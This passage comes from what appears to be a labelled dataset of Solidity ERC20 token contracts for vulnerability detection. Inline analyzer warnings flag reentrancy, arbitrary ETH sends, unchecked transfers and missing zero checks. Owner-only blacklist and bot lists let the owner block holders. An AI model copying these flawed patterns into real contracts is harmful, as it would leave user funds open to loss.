!= address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 7cba1ff\n\t\t\t\t// reentrancy-eth | ID: 2c0642d\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 7cba1ff\n\t\t\t\t\t// reentrancy-eth | ID: 2c0642d\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 2c0642d\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 2c0642d\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 2c0642d\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 7cba1ff\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 2c0642d\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 2c0642d\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 7cba1ff\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: ecc31d3\n\t\t// reentrancy-events | ID: 7cba1ff\n\t\t// reentrancy-benign | ID: 7d46d00\n\t\t// reentrancy-eth | ID: 2c0642d\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 78acec2): Contract.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 78acec2: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: ecc31d3\n\t\t// reentrancy-events | ID: 7cba1ff\n\t\t// reentrancy-eth | ID: 2c0642d\n\t\t// arbitrary-send-eth | ID: 78acec2\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2d40dcc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2d40dcc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d9f7272): Contract.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for d9f7272: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: e7c2299): Contract.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for e7c2299: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f1830cf): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f1830cf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 2d40dcc\n\t\t// reentrancy-eth | ID: f1830cf\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 2d40dcc\n\t\t// unused-return | ID: e7c2299\n\t\t// reentrancy-eth | ID: f1830cf\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 2d40dcc\n\t\t// unused-return | ID: d9f7272\n\t\t// reentrancy-eth | ID: f1830cf\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 2d40dcc\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: f1830cf\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10797.sol",
"size_bytes": 20383,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes memory) {\n this;\n return msg.data;\n }\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), to, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n _spendAllowance(from, _msgSender(), amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n allowance(_msgSender(), spender) + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = allowance(_msgSender(), spender);\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(\n from != address(0) && to != address(0),\n \"ERC20: transfer from/to the zero address\"\n );\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n unchecked {\n _balances[account] += amount;\n }\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n owner != address(0) && spender != address(0),\n \"ERC20: approve from/to the zero address\"\n );\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\ninterface IUniswapV2Pair {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Sync(uint112 reserve0, uint112 reserve1);\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address owner) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function getReserves()\n external\n view\n returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);\n\n function swap(\n uint256 amount0Out,\n uint256 amount1Out,\n address to,\n bytes calldata data\n ) external;\n\n function sync() external;\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router01 {\n function factory() external view returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function swapExactTokensForETH(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external returns (uint256[] memory amounts);\n}\n\ninterface IUniswapV2Router02 is IUniswapV2Router01 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _owner = msg.sender;\n\n emit OwnershipTransferred(address(0), _owner);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"You are not owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _owner = address(0);\n\n emit OwnershipTransferred(_owner, address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(newOwner != address(0), \"Use renounce function\");\n\n _owner = newOwner;\n\n emit OwnershipTransferred(_owner, newOwner);\n }\n}\n\ncontract Depicted is IERC20, Ownable {\n string private constant _name = \"Depicted\";\n\n string private constant _symbol = \"DPT\";\n\n uint8 private constant _decimals = 18;\n\n uint256 private _totalSupply = 250000000 * (10 ** _decimals);\n\n\t// WARNING Optimization Issue (immutable-states | ID: b83a30a): Depicted.WETH should be immutable \n\t// Recommendation for b83a30a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public WETH;\n\n address public constant DEAD = 0x000000000000000000000000000000000000dEaD;\n\n address public constant ZERO = 0x0000000000000000000000000000000000000000;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) public isFeeExempt;\n\n mapping(address => bool) public isBlacklisted;\n\n mapping(address => bool) public isAuthorized;\n\n mapping(address => bool) public isExcludedFromTransactionLimitChecks;\n\n uint256 public buyWallet1Fee = 2;\n\n uint256 public buyWallet2Fee = 2;\n\n uint256 public buyWallet3Fee = 1;\n\n uint256 public buyLiquidityFee = 1;\n\n uint256 public buyTotalFees = 6;\n\n uint256 public sellWallet1Fee = 2;\n\n uint256 public sellLiquidityFee = 2;\n\n uint256 public sellWallet2Fee = 1;\n\n uint256 public sellWallet3Fee = 1;\n\n uint256 public sellTotalFees = 6;\n\n uint256 public tokenForWallet1 = 0;\n\n uint256 public tokenForWallet2 = 0;\n\n uint256 public tokenForWallet3 = 0;\n\n uint256 public tokenForLiquidity = 0;\n\n address public wallet1FeeReceiver;\n\n address public wallet2FeeReceiver;\n\n address public wallet3FeeReceiver;\n\n\t// WARNING Optimization Issue (immutable-states | ID: c3b624d): Depicted.router should be immutable \n\t// Recommendation for c3b624d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: aa38fb3): Depicted.pair should be immutable \n\t// Recommendation for aa38fb3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public pair;\n\n bool public tradingOpen = false;\n\n uint256 public maxTransactionLimitBuy;\n\n uint256 public maxTransactionLimitSell;\n\n uint256 public maxWalletLimit;\n\n bool public swapEnabled = true;\n\n uint256 public swapThreshold = (_totalSupply * 1) / 10000;\n\n bool private inSwap;\n\n bool public transactionLimitsInEffect = true;\n\n modifier swapping() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n event TradingEnabled(bool enabled);\n\n event BlacklistUpdated(address indexed _address, bool isBlacklisted);\n\n event ETHCleared(address indexed wallet, uint256 amount);\n\n event TokensCleared(\n address indexed tokenAddress,\n address indexed wallet,\n uint256 amount\n );\n\n event BuyFeesUpdated(\n uint256 wallet1,\n uint256 liquidity,\n uint256 wallet2,\n uint256 wallet3\n );\n\n event SellFeesUpdated(\n uint256 wallet1,\n uint256 liquidity,\n uint256 wallet2,\n uint256 wallet3\n );\n\n event MaxTransactionLimitUpdated(\n uint256 maxTransactionLimitBuy,\n uint256 maxTransactionLimitSell\n );\n\n event MaxWalletLimitUpdated(uint256 newMaxWalletLimit);\n\n event TransactionLimitsRemovedForever();\n\n event TaxCounterReset();\n\n event AuthorizationStatusUpdated(\n address indexed account,\n bool isAuthorized\n );\n\n event FeeExemptionStatusUpdated(address indexed holder, bool isFeeExempt);\n\n event ExcludedFromTransactionLimitChecks(\n address indexed holder,\n bool exempt\n );\n\n event Wallet1ReceiverUpdated(address indexed newReceiver);\n\n event Wallet2ReceiverUpdated(address indexed newReceiver);\n\n event Wallet3ReceiverUpdated(address indexed newReceiver);\n\n event SwapBackSettingsUpdated(bool enabled, uint256 amount);\n\n event SwapFailed(string message);\n\n event LiquidityAddedFailed(string message);\n\n constructor() {\n router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n WETH = router.WETH();\n\n pair = IUniswapV2Factory(router.factory()).createPair(\n WETH,\n address(this)\n );\n\n _allowances[address(this)][address(router)] = type(uint256).max;\n\n maxTransactionLimitBuy = (_totalSupply * 1) / 100;\n\n maxTransactionLimitSell = (_totalSupply * 1) / 100;\n\n maxWalletLimit = (_totalSupply * 2) / 100;\n\n isFeeExempt[msg.sender] = true;\n\n isFeeExempt[owner()] = true;\n\n isAuthorized[owner()] = true;\n\n isExcludedFromTransactionLimitChecks[address(this)] = true;\n\n isExcludedFromTransactionLimitChecks[owner()] = true;\n\n isExcludedFromTransactionLimitChecks[DEAD] = true;\n\n isExcludedFromTransactionLimitChecks[ZERO] = true;\n\n wallet1FeeReceiver = 0x04662A7067d9Af5bd87fBcf7ec82574a8BB60Df4;\n\n wallet2FeeReceiver = 0x982FB4769216023fAce96a4e6Aa700a9cF4d0cC5;\n\n wallet3FeeReceiver = 0x7A3b40CB8B1ADDb9BFCF2BD8D1F1CB91c0AE279d;\n\n _balances[msg.sender] = _totalSupply;\n\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n receive() external payable {}\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function allowance(\n address holder,\n address spender\n ) external view override returns (uint256) {\n return _allowances[holder][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _allowances[msg.sender][spender] = amount;\n\n emit Approval(msg.sender, spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3b9c1d9): Depicted._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3b9c1d9: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 65ed9d0\n\t\t// reentrancy-benign | ID: 8093fb2\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: b087346\n\t\t// reentrancy-events | ID: cd8b364\n emit Approval(owner, spender, amount);\n }\n\n function approveMax(address spender) internal returns (bool) {\n return approve(spender, type(uint256).max);\n }\n\n function _basicTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n _balances[sender] -= amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n return _transferFrom(msg.sender, recipient, amount);\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n if (_allowances[sender][msg.sender] != type(uint256).max) {\n _allowances[sender][msg.sender] -= amount;\n }\n\n return _transferFrom(sender, recipient, amount);\n }\n\n function burn(uint256 amount) external onlyOwner {\n require(amount > 0, \"Amount must be greater than zero\");\n\n require(\n _balances[msg.sender] >= amount,\n \"Insufficient balance to burn\"\n );\n\n _totalSupply -= amount;\n\n _balances[msg.sender] -= amount;\n\n emit Transfer(msg.sender, address(0), amount);\n }\n\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"Trading is already open\");\n\n tradingOpen = true;\n\n emit TradingEnabled(true);\n }\n\n function updateBlacklistStatus(\n address _address,\n bool _isBlacklisted\n ) external onlyOwner {\n require(_address != address(0), \"Invalid address\");\n\n require(_address != owner(), \"Cannot blacklist the owner\");\n\n isBlacklisted[_address] = _isBlacklisted;\n\n emit BlacklistUpdated(_address, _isBlacklisted);\n }\n\n function clearETH() external onlyOwner {\n uint256 amount = address(this).balance;\n\n require(amount > 0, \"No ETH in contract\");\n\n payable(msg.sender).transfer(amount);\n\n emit ETHCleared(msg.sender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ce8af48): Reentrancy in Depicted.clearTokens(address) External calls token.transfer(msg.sender,balance) Event emitted after the call(s) TokensCleared(tokenAddress,msg.sender,balance)\n\t// Recommendation for ce8af48: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 291cc10): Depicted.clearTokens(address) ignores return value by token.transfer(msg.sender,balance)\n\t// Recommendation for 291cc10: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function clearTokens(address tokenAddress) external onlyOwner {\n require(tokenAddress != address(this), \"Cannot clear native tokens\");\n\n IERC20 token = IERC20(tokenAddress);\n\n uint256 balance = token.balanceOf(address(this));\n\n require(balance > 0, \"No token in contract\");\n\n\t\t// reentrancy-events | ID: ce8af48\n\t\t// unchecked-transfer | ID: 291cc10\n token.transfer(msg.sender, balance);\n\n\t\t// reentrancy-events | ID: ce8af48\n emit TokensCleared(tokenAddress, msg.sender, balance);\n }\n\n function updateBuyFees(\n uint256 wallet1,\n uint256 liquidity,\n uint256 wallet2,\n uint256 wallet3\n ) external onlyOwner {\n buyWallet1Fee = wallet1;\n\n buyLiquidityFee = liquidity;\n\n buyWallet2Fee = wallet2;\n\n buyWallet3Fee = wallet3;\n\n buyTotalFees = wallet1 + liquidity + wallet2 + wallet3;\n\n require(buyTotalFees <= 10, \"Buy fees can not be greater than 10%\");\n\n emit BuyFeesUpdated(wallet1, liquidity, wallet2, wallet3);\n }\n\n function updateSellFees(\n uint256 wallet1,\n uint256 liquidity,\n uint256 wallet2,\n uint256 wallet3\n ) external onlyOwner {\n sellWallet1Fee = wallet1;\n\n sellLiquidityFee = liquidity;\n\n sellWallet2Fee = wallet2;\n\n sellWallet3Fee = wallet3;\n\n sellTotalFees = wallet1 + liquidity + wallet2 + wallet3;\n\n require(sellTotalFees <= 10, \"Sell fees can not be greater than 10%\");\n\n emit SellFeesUpdated(wallet1, liquidity, wallet2, wallet3);\n }\n\n function updateMaxTransactionLimits(\n uint256 _amountBuy,\n uint256 _amountSell\n ) external onlyOwner {\n uint256 minimumLimit = ((_totalSupply * 1) / 1000) / (10 ** _decimals);\n\n require(\n _amountBuy >= minimumLimit,\n \"Cannot set maxTransactionLimitBuy lower than 0.1% of total supply\"\n );\n\n require(\n _amountSell >= minimumLimit,\n \"Cannot set maxTransactionLimitSell lower than 0.1% of total supply\"\n );\n\n maxTransactionLimitBuy = _amountBuy * (10 ** _decimals);\n\n maxTransactionLimitSell = _amountSell * (10 ** _decimals);\n\n emit MaxTransactionLimitUpdated(\n maxTransactionLimitBuy,\n maxTransactionLimitSell\n );\n }\n\n function updateMaxWalletLimit(uint256 _amount) external onlyOwner {\n require(\n _amount >= ((_totalSupply * 1) / 100) / (10 ** _decimals),\n \"Cannot set maxWalletLimit lower than 1% of total supply\"\n );\n\n maxWalletLimit = _amount * (10 ** _decimals);\n\n emit MaxWalletLimitUpdated(maxWalletLimit);\n }\n\n function resetTaxCounter() external onlyOwner {\n tokenForWallet1 = 0;\n\n tokenForWallet2 = 0;\n\n tokenForWallet3 = 0;\n\n tokenForLiquidity = 0;\n\n emit TaxCounterReset();\n }\n\n function removeTransactionLimitsForever() external onlyOwner {\n require(\n transactionLimitsInEffect,\n \"Transaction limits already removed\"\n );\n\n transactionLimitsInEffect = false;\n\n emit TransactionLimitsRemovedForever();\n }\n\n function setIsAuthorized(address value, bool exempt) external onlyOwner {\n isAuthorized[value] = exempt;\n\n emit AuthorizationStatusUpdated(value, exempt);\n }\n\n function setIsFeeExempt(address holder, bool exempt) external onlyOwner {\n isFeeExempt[holder] = exempt;\n\n emit FeeExemptionStatusUpdated(holder, exempt);\n }\n\n function excludeFromTransactionLimitChecks(\n address holder,\n bool exempt\n ) public onlyOwner {\n isExcludedFromTransactionLimitChecks[holder] = exempt;\n\n emit ExcludedFromTransactionLimitChecks(holder, exempt);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 374c3e2): Depicted.setWallet1Receiver(address)._wallet1FeeReceiver lacks a zerocheck on \t wallet1FeeReceiver = _wallet1FeeReceiver\n\t// Recommendation for 374c3e2: Check that the address is not zero.\n function setWallet1Receiver(\n address _wallet1FeeReceiver\n ) external onlyOwner {\n\t\t// missing-zero-check | ID: 374c3e2\n wallet1FeeReceiver = _wallet1FeeReceiver;\n\n emit Wallet1ReceiverUpdated(_wallet1FeeReceiver);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: a29ce1e): Depicted.setWallet2Receiver(address)._wallet2FeeReceiver lacks a zerocheck on \t wallet2FeeReceiver = _wallet2FeeReceiver\n\t// Recommendation for a29ce1e: Check that the address is not zero.\n function setWallet2Receiver(\n address _wallet2FeeReceiver\n ) external onlyOwner {\n\t\t// missing-zero-check | ID: a29ce1e\n wallet2FeeReceiver = _wallet2FeeReceiver;\n\n emit Wallet2ReceiverUpdated(_wallet2FeeReceiver);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: c098031): Depicted.setWallet3Receiver(address)._wallet3FeeReceiver lacks a zerocheck on \t wallet3FeeReceiver = _wallet3FeeReceiver\n\t// Recommendation for c098031: Check that the address is not zero.\n function setWallet3Receiver(\n address _wallet3FeeReceiver\n ) external onlyOwner {\n\t\t// missing-zero-check | ID: c098031\n wallet3FeeReceiver = _wallet3FeeReceiver;\n\n emit Wallet3ReceiverUpdated(_wallet3FeeReceiver);\n }\n\n function setSwapBackSettings(\n bool _enabled,\n uint256 _amount\n ) external onlyOwner {\n require(_amount > 2500, \"Swap threshold must be greater than 2500\");\n\n swapEnabled = _enabled;\n\n swapThreshold = _amount;\n\n emit SwapBackSettingsUpdated(_enabled, _amount);\n }\n\n function manualTaxSwap() external onlyOwner {\n uint256 contractTokenBalance = _balances[address(this)];\n\n require(contractTokenBalance > 0, \"No tokens to swap\");\n\n require(!inSwap, \"Already in swap\");\n\n swapBack();\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 75f6827): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 75f6827: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 225de84): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 225de84: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n require(!isBlacklisted[sender], \"Sender is blacklisted\");\n\n require(!isBlacklisted[recipient], \"Recipient is blacklisted\");\n\n if (inSwap) {\n return _basicTransfer(sender, recipient, amount);\n }\n\n require(\n isAuthorized[sender] || isAuthorized[recipient] || tradingOpen,\n \"Trading is not open yet\"\n );\n\n if (shouldSwapBack()) {\n\t\t\t// reentrancy-events | ID: 75f6827\n\t\t\t// reentrancy-eth | ID: 225de84\n swapBack();\n }\n\n if (\n transactionLimitsInEffect &&\n !isAuthorized[sender] &&\n !isAuthorized[recipient]\n ) {\n require(\n sender != owner() &&\n recipient != owner() &&\n recipient != address(0) &&\n recipient != address(DEAD),\n \"Invalid addresses\"\n );\n\n if 